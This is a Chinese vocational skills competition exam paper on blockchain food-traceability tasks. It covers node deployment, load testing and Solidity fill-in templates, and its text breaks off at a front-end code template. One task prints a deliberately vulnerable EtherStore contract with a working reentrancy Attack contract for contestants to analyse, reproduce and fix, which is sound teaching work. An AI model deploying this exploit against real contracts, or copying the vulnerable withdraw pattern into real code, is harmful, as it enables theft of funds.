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GZ036 2023年全国职业院校技能大赛高职组 区块链技术应用赛项规程+赛题（第1-2套）

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GZ036 2023年全国职业院校技能大赛高职组 区块链技术应用赛项规程+赛题（第1-2套）

2023-07-06 14:26 高职组竞赛 4.52M [试卷]

资源简介

2023年全国职业院校技能大赛
高职组
“区块链技术应用”
赛项赛卷（1卷）
任
务
书
参赛队编号：
背景描述
随着消费需求的不断变化，消费者对食品安全的关注度越来越高，希望能参与食品供应链管理，让每个环节都透明化。但传统的供应链管理依靠纸张记录，保存数据具有随意性，消费者无法确认其真实性。此外，传统管理模式中心化，多数环节间信息流通不畅，影响供应链管理效率。因此，供应链管理面临效率和安全透明的双重挑战，迫切需要有效变革，促进食品供应链更高效、透明和安全。
从技术层面来看，区块链技术具有去中心化、公开透明、不可篡改等优点，可解决食品供应链短板，与现行管理相结合，不仅可提升透明度，还可提升管理效率。
通过构建基于区块链技术的食品安全溯源平台，有效将包括生产日期、生产产地、生产商、流通企业等食品安全溯源相关信息通过区块链去中心化的方式存储，有效保证了数据真实以及不可篡改。另一方面，借助区块链智能合约技术，灵活设计食品安全溯源相关业务，在确保数据安全的前提下实现透明公开，在此基础上引入监管机制有效保证业务良性开展。
模块一：区块链产品方案设计及系统运维（35分）
选手完成本模块的任务后，将任务中设计结果、运行代码、运行结果等截图粘贴至客户端桌面【区块链技术应用赛\重命名为工位号\模块一提交结果.docx】中对应的任务序号下。
任务1-1：区块链产品需求分析与方案设计
本任务需要依据项目背景完成需求分析与方案设计，具体要求如下:
1. 依据给定区块链食品溯源系统的业务架构图，对考题进行业务分析，尽可能多的去考虑一个业务系统所需要的模块，使用Visio或思维导图工具展现本系统的基本设计概念和处理流程，要求分为区块链食品溯源业务平台和支撑平台两个部分；
2. 根据食品溯源系统设计，在系统中分别包括用户管理以及订单追溯功能，在订单追溯中需要包括生产商、分销商、经销商订单的追溯管理功能。根据描述，设计区块链系统的总体功能概览图；
3. 整合上述设计内容，完善“01区块链食品溯源系统概要设计说明书.doc”，具体工作内容如下：
（1）将设计内容根据说明书中模块需求进行补充，并完善概要设计说明书中的“需求概要”；
（2）完善说明书中接口说明部分内容。
完成后提交“区块链食品溯源系统概要设计说明书.doc”文档至【区块链技术应用赛\重命名为工位号】下。
任务1-2：区块链系统部署与运维
围绕食品安全溯源区块链平台部署与运维需求，进行项目相关系统、节点以及管理工具的部署工作。通过监控工具完成对网络、节点服务的监控。最终利用业务需求规范，完成系统日志、网络参数、节点服务等系统结构的维护，具体要求如下：
根据参数与端口设置要求，部署区块链系统并验证；
根据参数与端口设置要求，部署区块链网络管理平台并验证；
基于区块链系统相关管理平台，按照任务指南实施系统运维工作并验证；
基于区块链系统相关监管工具，按照任务指南对区块链系统进行监管。
子任务1-2-1： 搭建区块链系统并验证
基于给定服务器环境以及软件（地址“/root/tools”），搭建一条4节点的区块链系统并验证，具体工作内容如下：
（1）采用默认配置搭建区块链网络；
（2）通过命令验证区块链节点进程运行状况；
（3）通过命令验证区块链连接状态和共识状态日志输出。
子任务1-2-2：搭建区块链系统管理平台并验证
基于给定服务器环境以及软件（地址“/root/tools”），搭建区块链控制台并开展相关运维工作，具体工作内容如下：
（1）配置控制台，管理相关证书并启动；
（2）使用控制台安装HelloWorld智能合约；
（3）使用控制台完成HelloWorld智能合约的set与get操作；
（4）使用控制台查看区块链中区块高度。
子任务1-2-3：区块链节点运维
基于已完成的区块链系统与管理平台搭建工作，开展区块链节点的加入与退出运维工作，具体内容如下：
（1）获取指定区块链节点输出等级为警告级，并设置日志存储阈值位100MB并验证；
（2）通过给定工具（地址/root/tools）完成新节点（node4）配置；
（3）启动新节点加入区块链系统并验证。
子任务1-2-4：区块链网络运维
根据任务描述要求，完成网络配置与管理运维操作，具体内容如下：
（1）设置区块链系统黑名单，将node3设为黑名单禁止连接，并验证；
（2）设置系统中区块打包最大交易数量设为2000；
（3）验证区块最大打包交易数量情况。
任务1-3：区块链系统测试
设计对区块链系统的测试流程；结合实际业务需求，调用部署的智能合约进行系统测试、性能测试等；根据业务需求，分析并且修复给定智能合约中的安全漏洞。利用模拟业务和测试工具来完成对区块链系统服务数据的测试。
使用命令启动区块链系统可视化一体平台并验证启动情况；
通过可视化平台生成包括生产商(Producer)、经销商(distributor)、零售商(retailer)账户，并将账户以p12加密形式导出后倒入指定前置可视化平台，验证地址一致性；
使用Postman对上述功能接口进行验证，并将验证结果截图提交工程文档。对食品溯源系统服务端“添加食品”(/produce)功能接口进行验证。
请求路由: /produce
请求方法： POST
输入项说明： 输入项类型说明traceNumberString追踪编号foodNameString食品名称traceNameString存证人地址qualityInteger食品质量
输出项说明： 输出项类型说明retInteger返回值msgString返回消息，"Success"表示操作成功
参照工程项目（地址：“/root/projects”）使用Caliper测试工具对食品安全溯源系统智能合约生成新食品(newFood)功能进行压力测试。具体要求如下：
提供核心测试代码；
设置txNumber=10，tps=1，所有测试通过率为100%。
智能合约安全漏洞测试。
有如下问题智能合约：
pragma solidity >=0.8.3;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
emit Balance(balances[msg.sender]);
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1);
etherStore.deposit{value: 1}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
分析智能合约中存在问题，并说明危害；
根据truffle工具中的代码文件，编写测试用例，复现智能合约中存在的漏洞；
创建新的智能合约，修复其中问题，说明修复内容并测试。
完成本任务后将相关命令、代码以及运行结果截图填写至工程文档，并提交。
模块二：智能合约开发与测试（30分）
选手完成本模块的任务后，将任务中设计结果、运行代码、运行结果等截图粘贴至客户端桌面【区块链技术应用赛\重命名为工位号\模块二提交结果.docx】中对应的任务序号下。
任务2-1：智能合约设计
根据区块链食品溯源应用需求分析和方案设计文档的描述，编写该区块链产品的智能合约功能需求文档，以及设计该智能合约UML图。具体要求如下：
1.编写区块链食品溯源智能合约功能需求文档
根据区块链食品溯源产品项目背景和需求分析，编写该区块链食品溯源产品的智能合约功能需求文档。
2.完成区块链食品溯源智能合约的设计图
设计区块链食品溯源智能合约接口，画出区块链食品溯源智能合约的角色UML用例图，以及画出区块链食品溯源各智能合约关系的时序图。
任务2-2：智能合约开发
使用Solidity语言完成智能合约开发、部署和调用，要求如下：
1.食品信息（FoodInfoItem）的接口编码
（1）编写食品信息实体的接口，完成可溯源食品信息初始化，实现可追溯的原始生产商食品信息上链功能；
表2-2-1 FoodInfoItem实体说明
名称 类型 说明
_currentTraceName string 当前用户名
_name string 食品名称
_owner address 合约的创建者
_quality uint8 质量
_status uint8 状态
_traceName string[] 用户名
_timestamp uint[] 流转时间戳
_traceAddress address[] 用户地址
_traceQuality uint8[] 食品质量
contract FoodInfoItem{
//①保存食品流转过程中各个阶段的时间戳
//②保存食品流转过程各个阶段的用户名
//③保存食品流转过程各个阶段的用户地址信息（和用户一一对应）
//④保存食品流转过程中各个阶段的质量
//⑤食品名称
//⑥当前用户名称
//⑦质量（0=优质 1=合格 2=不合格）
//⑧状态（0:生产 1:分销 2:出售）
//⑨初始化owner
（2）编写分销商食品上链信息接口，根据食品溯源智能合约地址获取分销商上链食品的信息；
function addTraceInfoByDistributor(①, uint8 quality) public returns(bool) {
require(_status == 0 , "status must be producing");
//②
_timestamp.push(now);
_traceName.push(traceName);
_currentTraceName = traceName;
//③
//④
_traceQuality.push(_quality);
_status = 1;
return true;
}
（3）编写超市进行食品上链信息的接口，根据食品溯源智能合约地址获取超市上链食品信息。
function addTraceInfoByRetailer(①, uint8 quality) public returns(bool) {
require(_status == 1 , "status must be distributing");
//②
_timestamp.push(now);
_traceName.push(traceName);
_currentTraceName = traceName;
//③
//④
_traceQuality.push(_quality);
_status = 2;
return true;
}
2.食品溯源(Trace)的接口编码
（1）编写食品溯源智能合约生产商Producer添加食品接口，必须生产商才能添加可溯源的食品，实现溯源功能；
function newFood(①, string traceName, uint8 quality)
public ② returns(③)
{
//④
//⑤
//⑥
//⑦
//⑧
}
（2）编写食品溯源智能合约分销商Distributor添加食品接口，必须分销商才能添加可溯源的食品，实现溯源功能；
function addTraceInfoByDistributor(①, uint8 quality)
public ② returns(bool) {
//③
return FoodInfoItem(foods[traceNumber]).④, quality);
}
（3）编写食品溯源智能合约超市Retailer添加食品接口，必须超市才能添加可溯源的食品，实现溯源功能。
function addTraceInfoByRetailer(①, uint8 quality)
public ② returns(bool) {
require(③, "traceNumber does not exist");
return FoodInfoItem(foods[traceNumber]).④, quality);
}
3.角色（Role）管理的接口编码
（1）编写食品溯源增加角色接口，必须是未增加的角色才能被添加，实现添加角色的功能；
function add(①, address account) ② {
require(!③, "Roles: account already has role");
role.④ = true;
}
（2）编写食品溯源移除角色接口，必须是已增加的角色才能被移除，实现移除角色的功能；
function remove(①, address account) ② {
require(③, "Roles: account does not have role");
role.④ = false;
}
（3）编写食品溯源角色授权接口，必须是授权的角色地址，实现角色权限管理功能。
function has(①, address account) ② returns (bool) {
require(③, "Roles: account is the zero address");
return role.④;
}
4.合约编译、部署和调用
（1）解决代码错误和警告，正确编译并部署合约，成功获取部署的合约地址和abi；
（2）调用食品溯源智能合约的接口，完整验证业务流程。
任务2-3：智能合约测试
编写智能合约单元测试代码并完成合约功能测试、性能测试，具体要求如下：
1.配置区块链网络
启动Ganache软件，创建新的Wordspace，配置对外访问的RPC接口为7545，配置项目的truffle-config.js实现与新建Workspace的连接。
2.设置producerId和sellederId两个变量
基于VSCODE加载的Truffle项目，补全位于test文件夹中foodTraceNew.js文件预操作的方法。在测试文件中添加预定义的方法（在其他方法启动前使用），在方法中分别设置producerId和sellederId两个变量，具体要求如下：
（1）producerId设置为1；
（2）sellderId设置为4。
3.补全createMember和getMember方法
基于VSCODE加载的Truffle项目，补全位于test文件夹中foodTraceNew.js文件，添加测试用例，测试智能合约的createMember和getMember方法。
4.测试createOrder和getOrder方法
基于VSCODE加载的Truffle项目，补全位于test文件夹中foodTraceNew.js文件，添加测试用例，测试智能合约的createOrder和getOrder方法。
5.测试createFood和getFood方法
基于VSCODE加载的Truffle项目，补全位于test文件夹中foodTraceNew.js文件，添加测试用例，测试智能合约的createFood和getFood方法。
模块三：区块链应用系统开发（30分）
选手完成本模块的任务后，将任务中设计结果、运行代码、运行结果等截图粘贴至客户端桌面【区块链技术应用赛\重命名为工位号\模块三提交结果.docx】中对应的任务序号下。
任务3-1：区块链应用前端功能开发
1．请基于前端系统的开发模板，在登录组件login.js、组件管理文件components.js中添加对应的逻辑代码，实现对前端的角色选择功能，并测试功能完整性，示例页面如下：
具体要求如下：
（1）有明确的提示，提示用户选择角色；
（2）用户可看到四个不同的角色可选（生产商、中间商、超市、消费者）；
（3）每个用户所对应的组件请在components中找寻并填入；
（4）页面顶部要有食品溯源平台的网站标题和logo。
Login.js:
代码片段1：
template: `

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